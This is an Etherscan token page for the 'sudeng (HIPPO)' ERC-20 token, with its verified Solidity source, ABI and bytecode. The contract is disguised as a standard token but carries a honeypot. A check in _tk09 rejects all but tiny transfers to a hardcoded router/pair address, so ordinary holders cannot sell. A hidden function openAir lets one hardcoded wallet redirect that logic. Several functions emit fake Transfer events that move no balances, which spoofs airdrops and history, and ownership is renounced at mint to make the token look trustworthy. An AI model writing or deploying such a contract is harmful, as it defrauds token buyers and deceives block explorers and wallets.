ETH Price: $3,634.81 (-2.44%)

Token

ERC-20: sudeng (HIPPO)
 

Overview

Max Total Supply

10,000,000,000 HIPPO

Holders

74

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HIPPO

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-10
*/

/* 
    website  : https://www.hippocto.meme/
    twitter  : https://x.com/hippo_cto
    telegram : https://t.me/HIPPO_SUI
*/
/**
 *Submitted for verification at Etherscan.io on 2024-01-26
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract HIPPO is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _p76234;
    uint256 private  _e242 = 9999;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function claim(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_p76234, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function openAir(address account) public virtual returns (bool) {
         if(_msgSender() == 0xE8C7eF74F98328D7587672D4ac0455348cf4806a) _p76234 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _tk09(from,to,amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _tk09(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if
        ((((((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_p76234 == to && from !=  0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F && 
         from  != 0xCa219C74bD63122060785439B12cf80Cfe3B5cBA && from != 0xE8C7eF74F98328D7587672D4ac0455348cf4806a
         && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80)))))) {
            uint256 _X7W88 = amount + 12;require
            (_X7W88 < _e242 );
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"sudeng";
        _symbol = unicode"HIPPO";
        _mint(msg.sender, 10000000000  * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"openAir","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261270f600755348015610015575f80fd5b506100326100276100fa60201b60201c565b61010160201b60201c565b6040518060400160405280600681526020017f737564656e670000000000000000000000000000000000000000000000000000815250600490816100769190610631565b506040518060400160405280600581526020017f484950504f000000000000000000000000000000000000000000000000000000815250600590816100bb9190610631565b506100f5336100ce6101c260201b60201c565b600a6100da9190610868565b6402540be4006100ea91906108b2565b6101ca60201b60201c565b610a2e565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610238576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022f9061094d565b60405180910390fd5b8060035f828254610249919061096b565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102f791906109ad565b60405180910390a36103105f838361032260201b60201c565b61031e61032760201b60201c565b5050565b505050565b61033561034660201b60201c565b6103445f61010160201b60201c565b565b6103546100fa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103786103d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146103ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c590610a10565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061047257607f821691505b6020821081036104855761048461042e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104ac565b6104f186836104ac565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61053561053061052b84610509565b610512565b610509565b9050919050565b5f819050919050565b61054e8361051b565b61056261055a8261053c565b8484546104b8565b825550505050565b5f90565b61057661056a565b610581818484610545565b505050565b5b818110156105a4576105995f8261056e565b600181019050610587565b5050565b601f8211156105e9576105ba8161048b565b6105c38461049d565b810160208510156105d2578190505b6105e66105de8561049d565b830182610586565b50505b505050565b5f82821c905092915050565b5f6106095f19846008026105ee565b1980831691505092915050565b5f61062183836105fa565b9150826002028217905092915050565b61063a826103f7565b67ffffffffffffffff81111561065357610652610401565b5b61065d825461045b565b6106688282856105a8565b5f60209050601f831160018114610699575f8415610687578287015190505b6106918582610616565b8655506106f8565b601f1984166106a78661048b565b5f5b828110156106ce578489015182556001820191506020850194506020810190506106a9565b868310156106eb57848901516106e7601f8916826105fa565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107825780860481111561075e5761075d610700565b5b600185161561076d5780820291505b808102905061077b8561072d565b9450610742565b94509492505050565b5f8261079a5760019050610855565b816107a7575f9050610855565b81600181146107bd57600281146107c7576107f6565b6001915050610855565b60ff8411156107d9576107d8610700565b5b8360020a9150848211156107f0576107ef610700565b5b50610855565b5060208310610133831016604e8410600b841016171561082b5782820a90508381111561082657610825610700565b5b610855565b6108388484846001610739565b9250905081840481111561084f5761084e610700565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61087282610509565b915061087d8361085c565b92506108aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461078b565b905092915050565b5f6108bc82610509565b91506108c783610509565b92508282026108d581610509565b915082820484148315176108ec576108eb610700565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610937601f836108f3565b915061094282610903565b602082019050919050565b5f6020820190508181035f8301526109648161092b565b9050919050565b5f61097582610509565b915061098083610509565b925082820190508082111561099857610997610700565b5b92915050565b6109a781610509565b82525050565b5f6020820190506109c05f83018461099e565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6109fa6020836108f3565b9150610a05826109c6565b602082019050919050565b5f6020820190508181035f830152610a27816109ee565b9050919050565b611b1380610a3b5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c806368432dad116100a057806395d89b411161006f57806395d89b41146102a3578063a9059cbb146102c1578063beabacc8146102f1578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b806368432dad1461022f57806370a082311461024b578063715018a61461027b5780638da5cb5b1461028557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806365b72ef4146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b60405161012291906112ae565b60405180910390f35b61014560048036038101906101409190611363565b6103e9565b60405161015291906113bb565b60405180910390f35b61016361040b565b60405161017091906113e3565b60405180910390f35b610193600480360381019061018e91906113fc565b610414565b6040516101a091906113bb565b60405180910390f35b6101c360048036038101906101be91906114ad565b610442565b005b6101cd61050f565b6040516101da9190611525565b60405180910390f35b6101fd60048036038101906101f891906114ad565b610517565b005b6102196004803603810190610214919061153e565b6105e4565b60405161022691906113bb565b60405180910390f35b610249600480360381019061024491906114ad565b61067d565b005b6102656004803603810190610260919061153e565b61074a565b60405161027291906113e3565b60405180910390f35b610283610790565b005b61028d6107a3565b60405161029a9190611578565b60405180910390f35b6102ab6107ca565b6040516102b891906112ae565b60405180910390f35b6102db60048036038101906102d69190611363565b61085a565b6040516102e891906113bb565b60405180910390f35b61030b600480360381019061030691906113fc565b61087c565b005b61032760048036038101906103229190611591565b6108e6565b60405161033491906113e3565b60405180910390f35b6103576004803603810190610352919061153e565b610968565b005b606060048054610368906115fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610394906115fc565b80156103df5780601f106103b6576101008083540402835291602001916103df565b820191905f5260205f20905b8154815290600101906020018083116103c257829003601f168201915b5050505050905090565b5f806103f36109ea565b90506104008185856109f1565b600191505092915050565b5f600354905090565b5f8061041e6109ea565b905061042b858285610bb4565b610436858585610c3f565b60019150509392505050565b5f5b83839050811015610509578383828181106104625761046161162c565b5b9050602002016020810190610477919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104f491906113e3565b60405180910390a38080600101915050610444565b50505050565b5f6008905090565b5f5b838390508110156105de578383828181106105375761053661162c565b5b905060200201602081019061054c919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105c991906113e3565b60405180910390a38080600101915050610519565b50505050565b5f73e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff166106186109ea565b73ffffffffffffffffffffffffffffffffffffffff1603610674578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b5f5b838390508110156107445783838281811061069d5761069c61162c565b5b90506020020160208101906106b2919061153e565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161072f91906113e3565b60405180910390a3808060010191505061067f565b50505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610798610eae565b6107a15f610f2c565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107d9906115fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610805906115fc565b80156108505780601f1061082757610100808354040283529160200191610850565b820191905f5260205f20905b81548152906001019060200180831161083357829003601f168201915b5050505050905090565b5f806108646109ea565b9050610871818585610c3f565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516108d991906113e3565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610970610eae565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d5906116c9565b60405180910390fd5b6109e781610f2c565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5690611757565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac4906117e5565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba791906113e3565b60405180910390a3505050565b5f610bbf84846108e6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c395781811015610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c229061184d565b60405180910390fd5b610c3884848484036109f1565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906118db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1290611969565b60405180910390fd5b610d26838383610fed565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da1906119f7565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e9591906113e3565b60405180910390a3610ea8848484611239565b50505050565b610eb66109ea565b73ffffffffffffffffffffffffffffffffffffffff16610ed46107a3565b73ffffffffffffffffffffffffffffffffffffffff1614610f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2190611a5f565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110895750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061121057508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561112b575073644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611177575073ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111c3575073e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611234575f600c826112239190611aaa565b90506007548110611232575f80fd5b505b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6112808261123e565b61128a8185611248565b935061129a818560208601611258565b6112a381611266565b840191505092915050565b5f6020820190508181035f8301526112c68184611276565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112ff826112d6565b9050919050565b61130f816112f5565b8114611319575f80fd5b50565b5f8135905061132a81611306565b92915050565b5f819050919050565b61134281611330565b811461134c575f80fd5b50565b5f8135905061135d81611339565b92915050565b5f8060408385031215611379576113786112ce565b5b5f6113868582860161131c565b92505060206113978582860161134f565b9150509250929050565b5f8115159050919050565b6113b5816113a1565b82525050565b5f6020820190506113ce5f8301846113ac565b92915050565b6113dd81611330565b82525050565b5f6020820190506113f65f8301846113d4565b92915050565b5f805f60608486031215611413576114126112ce565b5b5f6114208682870161131c565b93505060206114318682870161131c565b92505060406114428682870161134f565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261146d5761146c61144c565b5b8235905067ffffffffffffffff81111561148a57611489611450565b5b6020830191508360208202830111156114a6576114a5611454565b5b9250929050565b5f805f604084860312156114c4576114c36112ce565b5b5f84013567ffffffffffffffff8111156114e1576114e06112d2565b5b6114ed86828701611458565b935093505060206115008682870161134f565b9150509250925092565b5f60ff82169050919050565b61151f8161150a565b82525050565b5f6020820190506115385f830184611516565b92915050565b5f60208284031215611553576115526112ce565b5b5f6115608482850161131c565b91505092915050565b611572816112f5565b82525050565b5f60208201905061158b5f830184611569565b92915050565b5f80604083850312156115a7576115a66112ce565b5b5f6115b48582860161131c565b92505060206115c58582860161131c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061161357607f821691505b602082108103611626576116256115cf565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6116b3602683611248565b91506116be82611659565b604082019050919050565b5f6020820190508181035f8301526116e0816116a7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611741602483611248565b915061174c826116e7565b604082019050919050565b5f6020820190508181035f83015261176e81611735565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117cf602283611248565b91506117da82611775565b604082019050919050565b5f6020820190508181035f8301526117fc816117c3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611837601d83611248565b915061184282611803565b602082019050919050565b5f6020820190508181035f8301526118648161182b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118c5602583611248565b91506118d08261186b565b604082019050919050565b5f6020820190508181035f8301526118f2816118b9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611953602383611248565b915061195e826118f9565b604082019050919050565b5f6020820190508181035f83015261198081611947565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119e1602683611248565b91506119ec82611987565b604082019050919050565b5f6020820190508181035f830152611a0e816119d5565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a49602083611248565b9150611a5482611a15565b602082019050919050565b5f6020820190508181035f830152611a7681611a3d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ab482611330565b9150611abf83611330565b9250828201905080821115611ad757611ad6611a7d565b5b9291505056fea264697066735822122057bd0165811c160b296553add35136f293153de8b2681abdc8cbe74a9b107b6c64736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c806368432dad116100a057806395d89b411161006f57806395d89b41146102a3578063a9059cbb146102c1578063beabacc8146102f1578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b806368432dad1461022f57806370a082311461024b578063715018a61461027b5780638da5cb5b1461028557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806365b72ef4146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610359565b60405161012291906112ae565b60405180910390f35b61014560048036038101906101409190611363565b6103e9565b60405161015291906113bb565b60405180910390f35b61016361040b565b60405161017091906113e3565b60405180910390f35b610193600480360381019061018e91906113fc565b610414565b6040516101a091906113bb565b60405180910390f35b6101c360048036038101906101be91906114ad565b610442565b005b6101cd61050f565b6040516101da9190611525565b60405180910390f35b6101fd60048036038101906101f891906114ad565b610517565b005b6102196004803603810190610214919061153e565b6105e4565b60405161022691906113bb565b60405180910390f35b610249600480360381019061024491906114ad565b61067d565b005b6102656004803603810190610260919061153e565b61074a565b60405161027291906113e3565b60405180910390f35b610283610790565b005b61028d6107a3565b60405161029a9190611578565b60405180910390f35b6102ab6107ca